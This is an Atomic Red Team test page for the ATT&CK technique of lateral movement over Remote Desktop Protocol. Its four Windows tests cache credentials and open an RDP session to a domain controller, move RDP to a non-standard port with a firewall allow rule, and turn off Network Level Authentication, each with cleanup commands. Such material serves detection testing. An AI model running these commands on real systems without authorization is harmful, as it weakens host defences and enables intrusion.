# T1021.001 - Remote Services: Remote Desktop Protocol

## Description from ATT&CK

> Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
> 
> Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)
> 
> Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware)

[Source](https://attack.mitre.org/techniques/T1021/001)

## Atomic Tests

- [Atomic Test #1: RDP to DomainController](#atomic-test-1-rdp-to-domaincontroller)
- [Atomic Test #2: Changing RDP Port to Non Standard Port via Powershell](#atomic-test-2-changing-rdp-port-to-non-standard-port-via-powershell)
- [Atomic Test #3: Changing RDP Port to Non Standard Port via Command_Prompt](#atomic-test-3-changing-rdp-port-to-non-standard-port-via-command_prompt)
- [Atomic Test #4: Disable NLA for RDP via Command Prompt](#atomic-test-4-disable-nla-for-rdp-via-command-prompt)

### Atomic Test #1: RDP to DomainController

Attempt an RDP session via Remote Desktop Application to a DomainController.

**Supported Platforms:** Windows

**auto_generated_guid:** `355d4632-8cb9-449d-91ce-b566d0253d3e`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| logonserver | ComputerName argument default %logonserver% | string | $ENV:logonserver.TrimStart("&#92;")|
| domain | domain argument default %USERDOMAIN% | string | $Env:USERDOMAIN|
| username | Username argument default %username% | string | $ENV:USERNAME|
| password | Password | string | 1password2!|

#### Attack Commands: Run with `powershell`!

```powershell
$Server=#{logonserver}
$User = Join-Path #{domain} #{username}
$Password="#{password}"
cmdkey /generic:TERMSRV/$Server /user:$User /pass:$Password
mstsc /v:$Server
echo "RDP connection established"
```

#### Cleanup Commands

```powershell
$p=Tasklist /svc /fi "IMAGENAME eq mstsc.exe" /fo csv | convertfrom-csv
if(-not ([string]::IsNullOrEmpty($p.PID))) { Stop-Process -Id $p.PID }
```

#### Dependencies: Run with `powershell`!

##### Description: Computer must be domain joined

###### Check Prereq Commands

```powershell
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) { exit 0} else { exit 1}
```

###### Get Prereq Commands

```powershell
Write-Host Joining this computer to a domain must be done manually
```

### Atomic Test #2: Changing RDP Port to Non Standard Port via Powershell

Changing RDP Port to Non Standard Port via Powershell

**Supported Platforms:** Windows

**auto_generated_guid:** `2f840dd4-8a2e-4f44-beb3-6b2399ea3771`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| OLD_Remote_Port | Default RDP Listening Port | string | 3389|
| NEW_Remote_Port | New RDP Listening Port | string | 4489|

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "PortNumber" -Value #{NEW_Remote_Port}
New-NetFirewallRule -DisplayName 'RDPPORTLatest-TCP-In' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort #{NEW_Remote_Port}
```

#### Cleanup Commands

```powershell
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "PortNumber" -Value #{OLD_Remote_Port}
Remove-NetFirewallRule -DisplayName "RDPPORTLatest-TCP-In" -ErrorAction Ignore 
Get-Service TermService | Restart-Service -Force -ErrorAction Ignore
```
### Atomic Test #3: Changing RDP Port to Non Standard Port via Command_Prompt

Changing RDP Port to Non Standard Port via Command_Prompt

**Supported Platforms:** Windows

**auto_generated_guid:** `74ace21e-a31c-4f7d-b540-53e4eb6d1f73`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| OLD_Remote_Port | Default RDP Listening Port | string | 3389|
| NEW_Remote_Port | New RDP Listening Port | string | 4489|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d #{NEW_Remote_Port} /f
netsh advfirewall firewall add rule name="RDPPORTLatest-TCP-In" dir=in action=allow protocol=TCP localport=#{NEW_Remote_Port}
```

#### Cleanup Commands

```cmd
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d #{OLD_Remote_Port} /f >nul 2>&1
netsh advfirewall firewall delete rule name="RDPPORTLatest-TCP-In" >nul 2>&1
net stop TermService /y >nul 2>&1
net start TermService >nul 2>&1
```
### Atomic Test #4: Disable NLA for RDP via Command Prompt

Disables network-level authentication (NLA) for RDP by changing a registry key via Command Prompt
Disabling NLA for RDP can allow remote user interaction with the Windows sign-in screen prior to authentication. According to Microsoft, Flax Typhoon actors used this technique implementation to achieve persistence on victim systems: https://www.microsoft.com/en-us/security/blog/2023/08/24/flax-typhoon-using-legitimate-software-to-quietly-access-taiwanese-organizations/
See also: https://github.com/EmpireProject/Empire/blob/master/lib/modules/powershell/management/enable_rdp.py

**Supported Platforms:** Windows

**auto_generated_guid:** `01d1c6c0-faf0-408e-b368-752a02285cb2`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| Default_UserAuthentication | Default UserAuthentication registry value | string | 1|

#### Attack Commands: Run with `command_prompt`!

```cmd
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /d 0 /t REG_DWORD /f
```

#### Cleanup Commands

```cmd
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /d #{Default_UserAuthentication} /t REG_DWORD -f >nul 2>&1
```